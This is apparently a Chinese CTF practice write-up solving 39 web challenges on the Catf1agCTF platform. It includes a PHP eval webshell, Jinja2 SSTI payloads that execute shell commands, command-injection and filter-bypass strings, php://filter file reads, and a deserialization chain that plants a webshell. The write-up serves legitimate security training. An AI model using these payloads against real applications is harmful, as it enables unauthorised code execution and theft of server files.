Catf1agCTF——Web(刷题记录片)

网址:Catf1agCTF - 综合训练平台

目录

一、简单题

1.WEB签到

2.flag在哪呢?

3.intval

4.easy_unser_1 

5.rce_me_1

6.json

7.GET&POST

8.robots

9.easy_include_1

10.strcmp

11.easy_upload_1

12.easy_include_2

13.swp

14.被黑了...

15.easy_rce_2

16.不等于0

17.easy_flask_1

18.easy_flask_2

19.又双叒叕不能相等 

20.哦豁~还有一半呢?

21.bypass_wakeup

22.无字符webshell 

23.舔dog日记

24.遍历遍历

25.easy_rce_3

26.easy_rce_4

27.xss_alert

28.[友谊杯] easy_upload(未解)

29.[两小时AK赛] 你猜猜是什么注入

30.json_2

31.MD5弱比较 

32.MD5强对比

33. md5($md5)

34.[原九小时AK赛] passwd

35.[原九小时AK赛] whisper 

36. [原九小时AK赛] wsy给你花花

37.[红包题] 冬至当然要吃汤圆和饺子

38.web也能套!

39.简单的越权


一、简单题

1.WEB签到

描 述:平台好像藏了一个flag,在哪呢?

WP:catf1ag{welcome_to_catf1agctf_!!!_gogogo_!!!}

解析:根据题目描述,flag最有可能藏在(WEB题最重要的一步)——(单击右键)网页源代码,(可按Ctrl+F搜索“flag”)找到符合题目的格式的字符串,可找到最接近答案的格式:flag{give_you_false_flag}(尝试提交,果真是错误的flag)

在此附近仔细查看可得:

}!!!_ogogog_!!!_ftcga1ftac_ot_emoclew{ga1ftac”,编写代码将字符串反转

s="}!!!_ogogog_!!!_ftcga1ftac_ot_emoclew{ga1ftac"
flag=s[::-1]
print(flag)

2.flag在哪呢?

描 述:flag在哪?

WP:catf1ag{47jqwfshb0na12y3g9uomlktvixed8}

解析:启动靶机,查看网页源代码,直接得flag

 3.intval

描 述:

WP:catf1ag{0zjbnretf2svxu9oykqa5dp74wc63g}

考察:代码审计能力+弱连接

解析:在原题目网址的基础上 + /?num=123a

<?php
error_reporting(0);        //表示关闭所有PHP错误报告
header("Content-Type:text/html;charset=utf-8");
include('flag.php');        //读取flag.php内容
show_source('./index.php');        //把PHP代码 高亮(带上默认文本样式)显示在页面上    同highlight_string
$num = $_GET['num'];        //获取提交的表单中 num 的值       即 http:..../?num=XXX
$num2 = intval($num);        //int intval ( $var [, int $base = 10 ] )返回var的base进制
if(isset($num) && $num != '123'){
    if($num == 123){        //弱相等==    强相等===
        echo $flag;
    }else{
        echo 'flag{this_flag_is_False}';
    }
}else{
    echo '你输入点东西行不行...';
}

弱相等(==):比较时,先将字符串类型转化为相等,再比较     

        ①比较一个数字和字符串,或者比较涉及到数字内容的字符串,则字符串被转换成数值并且按照数值比较

        ②字符串中不含“.””e””E”,比较时当int,否则为float

“admin”==0

“1admin”==1

“admin1”==0

“0e123456”==“0e456788”

1+“10.5”==11.5(float)

1+”admin”==1(int)

强相等(===):比较时,先判断字符串类型是否相等,再比较

        ①数组绕过——md5无法处理数组,返回null时即为true : id[]=1,则md5($id)=true

        ②就是用两个完全相同的md5值

4.easy_unser_1 

WP:catf1ag{eauigjs4pmfc1d2wq3xkvl0h7b5rony89zt6}

题目:(加部分注解)

<?php
//error_reporting(0);

show_source('./index.php');    //把PHP代码 高亮(带上默认文本样式)显示在页面上    同highlight_string
class flag_in_there{
  public $name;
  public $age;

  public function __construct($name,$age){    //创建一个类时  初始化操作
    $this->name = $name;
    $this->age = $age;
  }
  public function get_flag(){    
    echo "hello,i'm '$this->name',now '$this->age' years";
  }
}
$flag = new flag_in_there('vfree','19');
$ser = serialize($flag);    //序列化:将内存中的java对象放到硬盘
$un = $_GET['str'];

if($ser == $un){
  include('flag.php');
  echo $flag;
}else{
  echo "你真棒~";
}
?>
你真棒~

考察:序列化+代码审计

解析:当满足  $ser == $un  时,即可获取flag。

        问:怎么获取呢?

        答:通过代码(如下)得到$ser ,再通过上传参数str使  $ser == $un

<?php
class flag_in_there{
  public $name;
  public $age;

  public function __construct($name,$age){
    $this->name = $name;
    $this->age = $age;
  }
  public function get_flag(){
    echo "hello,i'm '$this->name',now '$this->age' years";
  }
}
$flag = new flag_in_there('vfree','19');
$ser = serialize($flag);
echo $ser;
?>

运行上述代码得:O:13:"flag_in_there":2:{s:4:"name";s:5:"vfree";s:3:"age";s:2:"19";}

传参:

得答案

 5.rce_me_1

WP:catf1ag{4zeobmdhyrtisf8xk20953qwnuvg6p}

题目:

考察:RCE (远程代码执行漏洞)

解析:按照常规操作先右键查看源代码,没有发现其他别的信息。则可以明白这道题就是通过 远程shell 控制获取flag。

        靶机:http://subject.catf1ag.cn:42321/

①尝试ls :       http://subject.catf1ag.cn:42321/?cmd=ls

显示结果如下:

②获取文件 get_flag_in_there_!!!!!!!!!!!!!!!!!!!      :http://subject.catf1ag.cn:42321/?cmd=cat%20get_flag_in_there_!!!!!!!!!!!!!!!!!!!

即可得到flag

 6.json

WP:catf1ag{95rzgmd8ji6uqaeycfs2wno4lt1kp7v3hbx0}

题目:

考察:json

解析:做这道题前首先得了解什么是json,再由题目可知 $decode->flag == $flag 时,即可获取flag

        问:什么是json?

        答:是一种轻量级的数据交换格式。$json='{"key":value}';        (不知道什么使数据交换格式没有关系,只要记住json格式就行)

        问:什么是json_decode()?

        答:将JSON 格式的字符串编码。即在访问时可使用key获取对应value,json[key]=value,类似于c++中的map

        问:怎么使  $decode->flag == $flag  ?

        答:默认已知flag的格式为“catf1ag{}”,在题3中提到过==的作用,则可知“catf1ag{}”==0

因此可得出   key={"flag",0}

7.GET&POST

 WP:catf1ag{0zjbnretf2svxu9oykqa5dp74wc63g}

考察:GET ,POST

解析:常见的构造请求工具(HackBar,Burp,Python脚本),此处使用HackBar(操作简单)

①靶机地址:http://subject.catf1ag.cn:44249/

根据题目可知为GET请求,可直接在网址后+  /?flag=cat

http://subject.catf1ag.cn:44249/?flag=cat

根据题目可知为POST请求,鼠标右键选择“检查”,选择HackBar(该模块不是浏览器自带,需自行下载插件)。点击LOAD(自动填写URL),打开Enable POST,在Body中输入题目要求的内容,即 flag=f1ag ,点击EXECUTE(发送请求)

即可获得flag值

 8.robots

WP:catf1ag{u5hegvatp2cybswnm8ijf9xzdr4ql3}

考察:robots协议

解析: 靶机地址 http://subject.catf1ag.cn:45732

       问:什么是robots协议?

       答:robots协议也称爬虫协议,是指网站可建立一个robots.txt文件来告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取。

       问:怎么利用robots协议获取信息?

       答: ①根据题目的提示,直接进入robots.txt文件:http://subject.catf1ag.cn:45732/robots.txt,得到如下内容

        ②发现禁止访问f1ag_is_in_there!!!,允许访问flag_is_not_in_there!!!。

直接访问:http://subject.catf1ag.cn:45732/f1ag_is_in_there!!!

将该文件下载,打开后则得到flag

9.easy_include_1

WP:catf1ag{wsle03a571mvqgnfb8d2zcj9rxuoh4it6pyk}

考察:文件包含

解析:靶机地址 http://subject.catf1ag.cn:49649/

此题比较简单,右键查看“源代码”,发现

有此可以知道flag在   /get_flag   里,即http://subject.catf1ag.cn:49649/?file=/get_flag

区分:./(当前目录下)文件名        ../(上一级目录下)文件名       /(根目录下)文件名      

例如:现在在3文件夹下

        获取  b.txt  :   ./b.txt        (./可不写)即        b.txt

        ②获取  4文件夹下的  c.txt :../../4/c.txt

        ③获取  此电脑下的  d.txt :  /d.txt

10.strcmp

WP:catf1ag{scol3zium0n6yb7pkdxg82vrh4wejqat1f95}

考察:strcmp绕过

解析:靶机地址  http://subject.catf1ag.cn:46919/

        strcmp()原理:这里的strcmp(str1,str2)函数用法和c语言中一模一样(str1>str2 结果 >0;str1<str2 结果 <0;str1=str2 结果 =0)

        绕过原理:strcmp()为字符串之间的比较,若传入其他类型参数,会出错,出错后返回值为0

        根据题目可知,即需要  $str!=$init_str   ,又要满足   strcmp($init_str,$str)==0  。因此,当str传入非字符串类型(通常使用数组类型)时,可获取flag。http://subject.catf1ag.cn:46919/?str[]=1

11.easy_upload_1

WP:catf1ag{425yxbseor7jqnw1v806di9atfcz3kphguml}

考察:文件上传,一句话木马

解析:靶机地址 http://subject.catf1ag.cn:48644/index.php

①尝试上传shell.php文件(记得关闭杀毒软件,不然可能出现会出现一些乱七八糟的情况),里面的内容为

 <?php @eval($_POST['a']); ?>  //一句话木马的一般格式,‘a’为连接时的密码

②上传完成后得到如下提示,可知上传的文件路径为http://subject.catf1ag.cn:48644/upload/shell.php

③使用蚁剑(其他的工具也行),输入URL和连接密码(即一句话木马中的‘a’),点击“添加”后,查看每个目录下是否含有flag,最终在根目录下找到,点击文件即可获得flag。

 12.easy_include_2

WP:flag{hhs6azzvr3j1wvo1m5nfz71phk8iq90w}

考察:RCE

解析:靶机地址 http://subject.catf1ag.cn:42701/

满屏嘲讽果断选择右键单击“查看网页源代码”,仔细查找发现如下flag,虽然但是,是假的

②下面有个file,可知需要用到file协议。

?file=php://filter/read=convert.base64-encode/resource=flag.php
#常用的file协议格式模板
#read=convert.base64-encode:将内容进行base64编码(看情况,可写可不写。写的话,还需要将结果进行base64解码)
#resource=flag.php:读取的文件

输入,即网址为: http://subject.catf1ag.cn:42701/?file=php://filter/resource=flag

③回车后,页面没有明显变化,别急,滚条往下拉,发现flag,再根据题目要求修改flag格式。(不得不说,每一个设计都不是多余的)

13.swp

WP:catf1ag{rpl869d71weco2mt4k5qghnybzaus0iv3jfx}

考察:文件备份

解析:由题目可知swap,是在Linux系统下产生的备份文件,即vim缓存。在文件编辑时自动产生vim缓存文件,若正常关闭,则vim文件自动删除。

以index.php文件为例:第一次意外退出产生 .index.php.swp,第二次产生 .index.php.swo 的交换文件,第三次产生 .index.php.swn。(index.php是一个用PHP语言开发的网站的首页)

        ①使用dirsearch扫描。(可能网络不稳定,扫描报错。有时候可能需要多扫几次才能得到)

python3 dirsearch.py -e php,txt,zip -u https://target -w db/dicc.txt      

        ②在网址后+     /.index.php.swp。得到下载文件后,得到flag。

14.被黑了...

WP:catf1ag{who_is_hacker_???}

考察:RCE

解析:

①右键查看网页源代码。执行     /webshe11.php        ,页面空白

②常规的shell注入为上传一个木马文件,在工具(如蚁剑)中登录url并输入密码,从而远程操控。此题没有可上传的地方,推测在网页上即可完成这个操作。现在已经有了url,那么密码是什么呢?查看网页上所有的信息,最有可能的密码为:hacker。因此,执行如下url,页面显示:

/webshe11.php?hacker=system("ls");

③执行如下url,得flag

webshe11.php?hacker=system("cat%20hacker_flag.php");

15.easy_rce_2

WP:catf1ag{right_you_get_flag}

考察:RCE

解析:有题目得,当cmd和单引号中内容不匹配时,即系统过滤了这些字符串,可执行命令注入。常见的命令注入(详细内容可以查看这位博主的文章)为system('ls');,在此可以用passthru代替system。

<?php 
error_reporting(0);
show_source('index.php');
$cmd = $_GET['cmd'];
//preg_match():若cmd有中由和‘’中匹配的,输出1,反之为0
$preg = preg_match('/system|exec|shell_exec|`|popen/',$cmd);    
if(!$preg){
    eval($cmd);    //eval():将括号内的字符串视为语句并运行
}else{
    echo "非法字符";
}
?> 

①打印目录

/?cmd=passthru('ls');

②获取flag文件

?cmd=passthru('cat f1ag_in_there.php');

16.不等于0

WP:catf1ag{e32gak90d4pohjmw1ft6ivuzs8ylrc7xqnb5}

考察:数组绕过

解析:由题目得输入的num需要满足如下条件

1.num不为空

2.num!=0

3.md5(num)==false

①md5无法处理数组,返回null

/?num[]=1

17.easy_flask_1

描述:/?cmd=

WP:catf1ag{3s41zeynr9ixf8mko62apdghtv0uc75qjlbw}

考察:SSTI

解析:一开始不知道是那种类型信息泄露,假设是RCE。则输入?cmd=system('ls');

        发现页面把cmd后 内容显示 了,猜测为SSTI。

①查看返回包,是python写的网页。

②输入,输出为49。验证了猜想

/?cmd={{7*7}}

③查看配置信息。得到flag

?/cmd={{config}}

18.easy_flask_2

WP:catf1ag{3s41zeynr9ixf8mko62apdghtv0uc75qjlbw}

考察:SSTI,Jinja2框架(详细知识点可看这篇)

解析:同题16思路,可知为SSTI,。

①查看返回包,为python写的网页。

②输入,输出为49。验证了猜想

/?cmd={{7*7}}

③查看配置信息。flag在 /flag 中

?/cmd={{config}}

④payload。重点找到<class 'os._wrap_close'> 为[127]。(一般为128,可以先128找,然后看查多少个位移,给128加加减减就出来了)。尽量分步分析,因为有时候会有过滤

?cmd={{''.__class__.__base__.__subclasses__()[127].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}}
?cmd={{''.__class__.__base__.__subclasses__()[127].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat flag").read()')}}
//其他姿势
{{lipsum.__globals__.__builtins__.__import__('os').popen('ls').read()}}
{{lipsum.__globals__.__builtins__.__import__('os').popen('cat flag').read()}}

19.又双叒叕不能相等 

WP:catf1ag{en7dvubs56h1gktl9jp4riyqzax28fmow03c}

考察:代码审计,数组绕过,科学计数法

解析:根据题目可知,num的值需要满足

1.num不为空

2.num的长度比init短

3.num的值比init大

①传参num。数组一定大于数字

//任选一种
/?num=1e30
/?num[]=1

②页面上已经显示get glag:,但没有具体的flag 。右键“查看网页源代码也没有”,查看返回包,发现了flag

20.哦豁~还有一半呢?

WP:catf1ag{s10dvmo9k2chpjl4wgzn6yba3785tuxrieqf}

解析:右键查看网页源代码,发现flagb;查看返回包,发现flaga。将两个拼接后,用base64解码即可

21.bypass_wakeup

WP:catf1ag{GOJbLMFtxB53ZmIu2nhslIJwtwUDdAgf} 

考察:反序列化

解析:执行如下代码,获得ser的值:     O:4:"flag":1:{s:4:"name";s:7:"catflag";}

<?php
class flag{
    public $name = "catflag";
    public function __wakeup(){
        echo "this is __wakeup<br>";
    }
    public function __destruct(){
        echo "this is __destruct<br>";
    }
}
echo serialize(new flag());	
?>
//输出:
//this is __destruct
//O:4:"flag":1:{s:4:"name";s:7:"catflag";}
//payload
/?ser=O:4:"flag":1:{s:4:"name";s:7:"catflag";}

   

22.无字符webshell 

WP:catf1ag{327a6c4304ad5938eaf0efb6cc3e53dc}

解析:由题目知,cmd中不能含有字母和数字。可以使用取反绕过

//基本格式
<?php
        $a = "system";
        echo urlencode(~$a);
?>
//system: %8C%86%8C%8B%9A%92
//ls:    %93%8C
//ls /:    %93%8C%DF%D0

①system(ls):    /?cmd=$_=~%8C%86%8C%8B%9A%92;$__=~%93%8C;$_($__);

没有找到flag

②system(ls /): /?cmd=$_=~%8C%86%8C%8B%9A%92;$__=~%93%8C%DF%D0;$_($__);

找到flag

③cat /flag.txt:

/?cmd=$_=~%8C%86%8C%8B%9A%92;$__=~%9C%9E%8B%DF%D0%99%93%9E%98%D1%8B%87%8B;$_($__);

23.舔dog日记

WP:catf1ag{Zjp8TxY8QKI7CZVbKZkzE1NZPxeE9pPD} 

考察:文件包含

解析:右键“查看网页源代码”,发现都是以/download.php?filename=的形式获取链接,因此,假设flag在文件flag.php中,那么需要将“flag.php”进行Base64编码,再放入“filename=”中。

①flag.php经过Base64编码后为:ZmxhZy5waHA=

②放入url中:http://subject.catf1ag.cn:49204/download.php?filename=ZmxhZy5waHA=

③右键查看源代码,发现flag

 24.遍历遍历

WP:catf1ag{62fexjg4cldzhay3otrqnpk09v1im5uwb78s}

解析:右键“查看网页源代码”、查看返回包,都没有发现有用的信息。但是在刷新页面的时候,发现页面的content显示的内容会发生改变。因此,猜测是通过不断的刷新,最终获取flag。

①运行如下脚本,即可获取flag

import requests
url = "http://subject.catf1ag.cn:46257/"
for i in range(300): #刷新次数
    response = requests.get(url)
    if 'catf1ag' in response.text:
        print(response.text)
        break

25.easy_rce_3

WP:catf1ag{m49k6ivgj87b531acnqzlswhdtrxf2oypeu0}

考察:RCE

解析:根据题目可知,和最普通的RCE相比,难点在于绕过。没有过滤system,ls

①/?cmd=system("ls");        发现flag文件,由于flag等被过滤,不可直接cat flag.php

②集合几位大佬的不同写法如下:

法一:蚁剑

        Ⅰ :      /?cmd=eval($_POST[1]);

        Ⅱ:蚁剑抓包

法二:文件包含伪协议

/?cmd=include $_GET[a];&a=php://filter/read=convert.base64-encode/resource=flag.php

        得到:Base64解码,得flag

PD9waHAKJGZsYWcgPSAiY2F0ZjFhZ3ttNDlrNml2Z2o4N2I1MzFhY25xemxzd2hkdHJ4ZjJveXBldTB9IjsKZWNobyAiZmxhZ3sqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqfSI7Cj8+Cg==

法三:

?cmd=eval(end(current(get_defined_vars())));&b=system('tac flag.php');

26.easy_rce_4

WP:catf1ag{This_is_A_easy_flag}

考察:RCE

解释:已知cmd的长度需大于50且还有部分过滤

①ls

?a=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;ls

②获取f1111111111111111111111111ag.php

?a=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;t=at;c$t%09f1111111111111111111111111ag.php

27.xss_alert

WP:catf1ag{luwjetshn1v4qr2m6yg750p98cbzoxki3afd} 

解析:

法一:右键“查看网页源代码”,发现如下Base64编码内容(cat的base64编码结果为Y2F0),解码即可

法二:含有弹窗代码,在控制台输出        alert()        ,获得base64编码后的flag

28.[友谊杯] easy_upload(未解)

29.[两小时AK赛] 你猜猜是什么注入

WP:catf1ag{canvt-cjtiof-dzswa-ggrbpy} 

解析:使用tee命令(显示程序的输出并将其复制到一个文件中)

①/?catf1ag=ls /|tee 1.txt

②/1.txt
③/?catf1ag=cat /flag|tee 1.txt
④/1.txt

30.json_2

WP:catf1ag{ZbI5NrIUu6mPwoBf4ANQpOedyEyxG4Vn} 

考察:json

解析:布尔值true等于任何字符串。在题6中有介绍json的格式,因此可以构造           

?strs={"0":true}        

31.MD5弱比较 

WP:catf1ag{BI2TajraMYQMwygOS7ANMIyx83dSr5Uz}

考察:MD5,弱相等

解析:

法一:数组绕过

?username[]=1&password[]=2

法二:MD5绕过。md5加密后均为0e.....,可以实现md5(str1)==md5(str2)

?username=QNKCDZO&password=s878926199a

32.MD5强对比

WP:catf1ag{nlLU5FRGzI98ZuDyCYwq4KG4iZqIVEmp}

考察:MD5,弱相等

解析:数组绕过

?username[]=1&password[]=2

33. md5($md5)

WP:catf1ag{HBLwQ3Xk7FUhxn4J8rXOvFfR8qYtnilj}

解析:$md5 == md5($md5) :       表示  $md5  经过MD5加密后,仍与 $md5  相等

?md5=0e215962017

34.[原九小时AK赛] passwd

WP:catf1ag{202211121750}

考察:sha256(通常表示为64个十六进制字符)

解析:

s="69d00d9bc39e01687abf84e98e27c889cf1442b53edba27d3235acbeb7b0ae95"
print(len(s))
from hashlib import sha256
for i in range(202209090000,202212120000):#2022年09月09日00时00分
    if(sha256(str(i).encode()).hexdigest()==s):
        print(i)

35.[原九小时AK赛] whisper 

描 述:不同的方法,效果都不一样哈哈哈,题目作者:故里

WP:catf1ag{I_b41i3v3_y0U_can_f1nd_all_0f_m3}

考察:混合Base解码,凯撒

解析:

①根据提示,在url后加        /whisper        ,得到一串字符,看着不符合常见的编码方式,尝试使用basecrack.py解密(附上windows下安装方式)

②使用basecrack.py,得到部分flag

③根据题目的描述,“不同的方法”,刚刚使用Get的方式,现在只能试试Post。使用凯撒解密得部分flag

36. [原九小时AK赛] wsy给你花花

WP:catf1ag{ChAng_chang_9qQq_qq8}

考察:反序列化

解析:题目(含部分函数解释)

<?php 
class catf1ag1{ 
    public $hzy; 
    public $arr; 

    function show(){ 
        show_source(__FILE__); 
    } 

    function __wakeup(){ 
        foreach($this->arr as $k => $v){ 
            echo $this->hzy->$v;
            echo "</br>hzy是社么鬼???";
        } 

    } 
} 

class catf1ag2{ 
    public $file;
    public $txt = ''; 
    function __get($key){ 
        if($key == 'pputut'){ 
            return $this->pputut(); 
        }else{ 
            return '<p>'.htmlspecialchars($key).'</p>';     //htmlspecialchars()把一些预定义的字符转换为 HTML 实体
        } 
    } 

    function pputut(){ 
        if(    strpos($this->file,'../') !== false || 
            strpos($this->file,'\\') !== false          
        ) die();     //file字符串中不可包含../  \

        $content = '<?php die(\'stupid\'); ?>';
        echo "NICE!!!,来自wsy赠送的小红花</br>";
        $content .= $this->txt;     //该语句等价于  $content += $this->txt;   
        file_put_contents($this->file, $content);     //将字符串写入文件
        return htmlspecialchars($content); 

    } 

} 

if(!empty($_POST)){ 
    $hzy = base64_decode($_POST['wwsysy']); 
    $instance = unserialize($hzy); 
}else{ 
    $a = new catf1ag1(); 
    $a->show(); 
} 

①根据题目可知,我们需POST一个名为wwsysy的变量,它的值会先被base64解码,再反序列化,因此构造的值需要先序列化再base64编码。

②植入一句话木马 <?php @eval($_POST['a']); ?>  ,用base64编码后为:IDw/cGhwIEBldmFsKCRfUE9TVFsnYSddKTsgPz4gIA==

<?php
class catf1ag1{ 
    public $hzy; 
    public $arr; 

    function show(){ 
        show_source(__FILE__); 
    } 

    function __wakeup(){ 
        foreach($this->arr as $k => $v){ 
            echo $this->hzy->$v;
            echo "</br>hzy是社么鬼???";
        } 

    } 
} 

class catf1ag2{ 
    public $file="";
    public $txt = ''; 
    function __get($key){ 
        if($key == 'pputut'){ 
            return $this->pputut(); 
        }else{ 
            return '<p>'.htmlspecialchars($key).'</p>'; 
        } 
    } 

    function pputut(){ 
        if(    strpos($this->file,'../') !== false || 
            strpos($this->file,'\\') !== false      
        ) die(); 

        $content = '<?php die(\'stupid\'); ?>';
        echo "NICE!!!,来自wsy赠送的小红花</br>";
        $content .= $this->txt; 
        file_put_contents($this->file, $content); 
        return htmlspecialchars($content); 

    } 

} 


$a= new catf1ag1();
$a->arr = array('pputut'); // 将 'pputut' 传给 catf1ag2 
$a->hzy = new catf1ag2();
$a->hzy->file = 'php://filter/convert.base64-decode/resource=flag.php'; // 使用base64-decode绕过content,并将文件输出到 flag.php
$a->hzy->txt = 'IDw/cGhwIEBldmFsKCRfUE9TVFsnYSddKTsgPz4gIA=='; // 植入一句话木马 ,密码为a
echo base64_encode(serialize($a));
?>

③执行上面的代码,得wwsysy的值如下。POST值后,使用蚁剑查看。

Tzo4OiJjYXRmMWFnMSI6Mjp7czozOiJoenkiO086ODoiY2F0ZjFhZzIiOjI6e3M6NDoiZmlsZSI7czo1MjoicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT1mbGFnLnBocCI7czozOiJ0eHQiO3M6NDQ6IklEdy9jR2h3SUVCbGRtRnNLQ1JmVUU5VFZGc25ZU2RkS1RzZ1B6NGdJQT09Ijt9czozOiJhcnIiO2E6MTp7aTowO3M6NjoicHB1dHV0Ijt9fQ==

④用蚁剑连接后,在根目录找到flag

37.[红包题] 冬至当然要吃汤圆和饺子

WP:catf1ag{冬至快乐_redbag-password=37243463}

解析:点击“开始”,发现有个很长的字符一闪而过,猜测这个就是flag,右键“查看网页源代码”,看看有什么提示是可以获取这个的。发现页面遍历的就是arr中内容,则直接查看arr中内容获取flag

38.web也能套!

WP:catf1ag{8pC9uZ7Ho2JKdTS4L71ZlRQHro9N7296}

解析:

<?php
session_start();
//flag in flag
$_SESSION['who'] = 'admin';
$_SESSION['wh0'] = 'admin123';
var_dump($_ENV[$_POST[$_GET[$_SESSION['who']]]]);    
?> 

//SESSION:    网页跳转时,储存在session中的内容不会消失
//ENV:    列出所有环境变量及其赋值

①$_SESSION['who']='admin’    =>    $_GET[$_SESSION['who']]=$_GET['admin’]。所有在url后加:

/?admin=b

②上传后,$_POST[$_GET[$_SESSION['who']]]  =   $_POST['b']     。提示flag在flag中,因此POST        b=flag。详情如下:

39.简单的越权

WP:catf1ag{ia9e6SPc6HuvWMiWUtqrx3hT1bXpJmnA}

解析:

①按照提示,在url后加        /username=guest        ,查看返回包

其中的info内容base64解密:welcome_to_catf1ag_login_:guest 

②使用burp抓包,并修改username的值为admin,is_admini的值为True,info的值为welcome_to_catf1ag_login_:admini        的base64编码结果:d2VsY29tZV90b19jYXRmMWFnX2xvZ2luXzphZG1pbmk=

得flag

  • 3
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值